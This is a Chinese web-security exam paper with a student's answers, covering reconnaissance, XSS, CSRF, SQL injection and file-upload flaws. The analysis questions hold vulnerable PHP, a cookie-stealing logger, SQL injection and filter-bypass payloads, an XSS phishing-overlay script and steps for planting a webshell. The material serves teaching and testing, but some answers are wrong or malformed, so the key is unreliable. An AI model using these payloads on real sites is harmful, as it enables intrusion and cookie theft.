一、单项选择题

1. 在短时间内向网络中的某台服务器发送大量无效连接请求，导致合法用户暂时无法访问服务器的攻击行为是破坏了（ C ）。

   A．机密性　　B．完整性　　C．可用性　　D. 可控性

2. 负责通用顶级域名（gTLD）分配包括.com、.net、.edu、.org 和.info 等的组织是（ A ）。

   A. GNSO　　B. CNNSO

   C. CNNIC　　D. CDNC

3. 在使用 Google 搜索时，如果限定在 bilibili 中**完全匹配**搜索“XSS 攻击”相关的网页，应输入哪个命令？（ D ）

   A. “XSS 攻击” cache:bilibili.com

   B. XSS 攻击 cache:bilibili.com

   C. XSS 攻击 site:bilibili.com

   D. “XSS 攻击” site:bilibili.com

4. 以下哪种扫描方式采用了完整的“三次握手”机制？（ C ）

   A. ACK 扫描　　B. SYN 扫描

   C. connect 扫描　　D. CDNC

5. 基于 whois 数据库进行信息探测的目的是（ C ）。

   A. 探测目标主机开放的端口及服务

   B. 探测目标的网络拓扑结构

   C. 探测目标主机的网络注册信息

   D. 探测目标网络及主机的安全漏洞

6. 上传漏洞攻击必要条件<u>不</u>包括以下哪个？（ B ）

A. 木马上传成功，未被杀

B. PHP 文件在对方过滤白名单里

C. 知道木马的路径在哪

D. 上传的木马能正常运行

7. 以下哪个方式不能防范 CSRF？（ C ）

A. 使用 POST 提交用户数据，来代替 GET ✓

B. 校验 HTTP Referer ✓

C. 对上传进行过滤 ✓

D. 使用请求令牌 Token ✓

8. 黑客利用 IP 地址进行攻击的方法有？（ C ）

A. 窃取口令 B. 解密 C. IP 欺骗 D. 发送病毒

9. UDP 主机扫描需要选择一个（ A ）的目标端口才能完成探测。

A. 关闭 B. 打开 C. 待定 D. 过滤

10. 当 Cookie 设置了 HttpOnly 属性后，可以（ C ）。

A. 与 WEB 服务器之间就通过 HTTPS 传递数据

B. 与 WEB 服务器之间就通过其他安全协议传递数据

C. 可以避免该网页的 Cookie 被客户端 JavaScript 存取，保护用户的 Cookie 不被盗取

D. Cookie 内容被加密

11. 根据统计显示， 80%的网络攻击源于内部网络，因此，必须加强对内部网络的安全控制和防范。下面的措施中，无助于提高局域网内安全性的措施是（ D ）。

A．使用防病毒软件

B．使用日志审计系统

C．使用入侵检测系统

D．使用防火墙防止内部攻击

12. 典型的网络安全威胁不包括(C) 。

A. 窃听　　B. 伪造　　C. 身份认证　　D. 拒绝服务攻击

13. 有意避开系统访问控制机制，对网络设备及资源进行非正常使用属于

（ B ）。

A．破坏数据完整性　　B．非授权访问

C．信息泄漏　　D．拒绝服务攻击

14. 数据完整性安全机制可与（ C ）使用相同的方法实现。

A.加密机制

B.公正机制

C.数字签名机制 √

D.访问控制机制

15. 以下哪项不属于防范假冒网站的措施(D)

A 直接输入所要登录网站的网址，不通过其他链接进入 √

B 登录网站后留意核对所登录的网址与官方公布的网址是否相符 √

C 登录官方发布的相关网站辨识真伪

D 安装防范 ARP 攻击的软件

16. 信息安全风险是指人为或自然的（　　）利用信息系统及其管理体系中存在的（　　）导致安全事件的发生及其对组织造成的影响。 C

A、脆弱性、威胁　　B、威胁、弱点

C、威胁、脆弱性　　D、弱点、威胁

17. 乱扫二维码，支付宝的钱被盗，主要是中了？（　　）

A、僵尸网络　B、病毒　C、蠕虫　D、木马

18. 为防止办公用计算机上的数据丢失或遭破坏，用户应主要做好（　　）措施。

A、对计算机上的数据进行加密保护

B、合理设置计算机登录密码并定期更改

C、购置防病毒、防入侵等软件，提升计算机安全防护能力

D、对计算机上的重要数据进行备份

19. 哪项不是网络钓鱼的常用手段（　　）

A、利用计算机木马

B、利用虚假的电子商务网站

C、利用垃圾邮件

D、利用假冒网上银行、网上证券网站

20. 若要在公共场合使用 WiFi，应尽量选择以下哪个无线信号（　　）

A、hacker　　B、ChinaNet-link

C、AirPort123　　D、starbucks

二、 判断题。

1. WEBSHELL 可以穿越服务器防火墙。

2. 在整个 CSRF 的攻击过程中，交易是以受害者的身份发起的。

3. XSS 是由于 Web 应用程序对用户的输入过滤不足而产生的。

4. 进行上传漏洞攻击不需要知道木马上传的路径。
5. 如果一个网站存在 XSS，不可能也存在 CSRF。
6. htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
7. VPN、SSL、SSH 等加密手段可有效防范 Wireshark 的嗅探。
8. 运行命令 ipconfig /release，可以重新获取到 DHCP 分配的 IP 地址。
9. whois 的查询是逐级查询。
10. 在 google 高级搜索功能中，搜索指定文件类型的网页所使用的搜索关键字是 intitle。

三、填空题，请将答案填入下列对应方框中。

1. 在安全漏洞生命周期中，从安全漏洞被发现到厂商发布补丁程序用于修补该漏洞之前的这段时间，被安全社区普遍地称为__①__。
2. 信息安全三原则俗称 CIA 是指的机密性、完整性和__②__。
3. XSS 攻击可分为反射型、存储型和__③__。
4. Cookie，有时也用其复数形式 Cookies，指某些网站为了辨别用户身份、进行 session 跟踪而__④__的数据（通常经过加密）。它是用户和服务器之间的桥梁。
5. __⑤__是我国域名注册管理机构和域名根服务器运行机构。
6. HTTPS 协议的默认端口号是__⑥__。

7. 在使用 Google 搜索时，如果限定在我校域名下搜索网页 URL 中包含 login 关键字的网页，应输入命令 allinurl:⑦"login"。

8. 信息安全学科可分为狭义安全与广义安全两个层次，狭义的安全是建立在以___⑧密码学___为基础的计算机安全领域，早期中国信息安全专业通常以此为基准，辅以计算机技术、通信网络技术与编程等方面的内容。

9. 利用 shodan 搜索引擎搜索位于成都的所有开放 21 端口的设备，应输入命令____⑨port 21。

10. 使用 Dig 命令查询邮件服务器时所使用的 querytype 选项是__⑩MX_____。

11. ___⑪SSH____协议默认的端口号为 22/tcp。

12. 使用 NMAP 进行操作系统类型探测的命令语法是___⑫nMap -O_____。

13. 已知 http://www.abc.com/?id=1 存在一个 SQL 注入漏洞，使用 SQLMap 获取该网站的数据库名，应输入命令__⑬sqlmap -u "http://www.abc.com/?id=1" -dbs____。

14. 数据库带有很多默认的用户预安装内容，如 SQL Server 使用 sa 作为数据库系统管理员账户，MySQL 使用__⑭root___和___⑮anonymous__用户账户。

15. HTTP 协议头部中的__⑯Content-Type____字段指定获取当前请求的资源。

16. HTTP 协议的状态码___⑰302____表示重定向到指定页面。

17. Tracert 命令使用_⑱IP数据报中的TTL字段_____和_____⑲ICMP错误_____来确定从一个主机到网络上其他主机的路由。

18. 暴力破解因场景、__⑳____、认证方式的不同，所采用的破解方法也是不同的。

四、 简答题。

1. 请简要叙述 TCP SYN Ping 主机扫描的特点。

2. 简述上传漏洞的防御方法。

3. 请简述交换式网络中的嗅探攻击有哪几种？

五、分析题

1. 请分析下面的代码，并回答问题。

某网站保存留言页面 **saveleaveword.php** 的部分内容如下：

```
.....
if(mysqli_query($conn,"insert into tb_leaveword(userid,createtime,title,content)values('$userid','$createtime','".$_POST['title']."','".$_POST['content']."')")){
   echo "<script>alert('留言发表成功！');history.back();</script>";
}else{
    echo "<script>alert('留言发表失败！');history.back();</script>";
}
...
```

lisi 构造了一个 cookie.php 页面，代码如下：

```
<?php
```

```
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt","a+");
    fwrite($log,$cookie . "next\n\r");
    fclose($log);
?>
```

请分析代码，回答以下问题。

（1）这段代码可能存在什么类型的漏洞？

存在XSS漏洞，攻击者可将恶意代码通过表单等保存在数据库。

（2）lisi 构造的 cookie.php 页面主要实现什么功能。

用GET方式接收传入的cookie，并将其追加保存在cookie.txt中

2. 请分析下面的代码，并回答问题

```
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
        // Get input
        $id = $_GET[ 'id' ];
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );
        // Get results
        $num = @mysqli_num_rows( $result );
        if( $num > 0 ) {
                // Feedback for end user
                $html .= '<pre>User ID exists in the database.</pre>';
        }
        else {
                // User wasn't found, so the page wasn't!
                header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

                // Feedback for end user
                $html .= '<pre>User ID is MISSING from the database.</pre>';
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
```

（1）这段代码存在什么漏洞？请简单阐述产生该漏洞的原因。

SQL注入漏洞，又传入的id未经判断直接放在SQL语句中，可能会被当作SQL语句执行。

（2）访问该网页的链接是 http://www.cuit.cn/login.php?id=1，若想通过这种漏洞获取当前网站的数据库名，请说出具体构造的

先用 ?id=1' order by 3 -- xx 判断出字段数

再用 ?id=1' select 1,2,3 -- xx 判断回显位

再 ?id=-1' select 1,2,database() -- xx 查询数据库

攻击语句，并简单阐述攻击思路？

3. 请分析下面的代码，并回答问题：

```
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/and/i',"", $id);
    return $id;
}
```

（1）Web 应用考虑了对用户输入的 id 进行过滤限制。该语句对什么进行了过滤？ or and

（2）在进行 SQL 注入时，采用什么语句进行该过滤的绕过？ ①大写绕过 Or And ②双写绕过 oorr aandnd ③用编码 &&.||

4. 利用 XSS 实现网络钓鱼，正常的登录页面是 login.php，攻击者构造了一个 js 文件，内容如下所示：

```
document.body.innerHTML=(
'<div
style="position:absolute;top:-2px;left:-2px;width:100%;height:100%;"
>'+
'<iframe src=http://localhost/xss/login/phishing.html width=100%
height=100% frameborder="no" marginwidth="0" marginheight="0"
scrolling="no">'+
'</iframe></div>');
```

用iframe把登录界面覆盖掉页面，再加载伪造钓鱼页面phishing.html.

请回答：（1）请分析这个 js 文件的作用是什么？

（2）如何在 login.php 页面中插入利用代码，请写出具体的语句。http://localhost/xss/login.php?s=<script src=http://localhost/xss/login/xss.js</script>

（3）请简单阐述利用 XSS 实现网络钓鱼和常规的钓鱼网站的区别。利用XSS实现的话会使受害者在访问该网站的时候定向到钓鱼网站，而常规的钓鱼网站只有受害者主动访问钓鱼网站。

5. 请分析下面的代码，回答下面的问题：

```
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
if( ( $uploaded_type == "image/jpeg" || $uploaded_type ==
"image/png" ) &&( $uploaded_size < 100000 ) ) {
  if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ],
$target_path ) ) {
    $html .= '<pre>Your image was not uploaded.</pre>';
  }
  else {
    $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
  }
}
else {
  $html .= '<pre>Your image was not uploaded. We can only
accept JPEG or PNG images.</pre>';
}
```

（1）这段代码存在什么漏洞？具体产生漏洞的原因是什么？

（2）请简单阐述如果成功实施攻击获得 webshell。

(1) 文件上传漏洞。没有对上传的文件的名称以及类型进行限制，导致攻击者可以向网站上传php文件使其在服务器上执行。

(2) 准备好的一句话木马文件进行上传，上传的时候用burp抓包，将 Content Type 中的类型替换为 image/jpeg 然后放包。用蚁剑连接上传的文件获得webshell。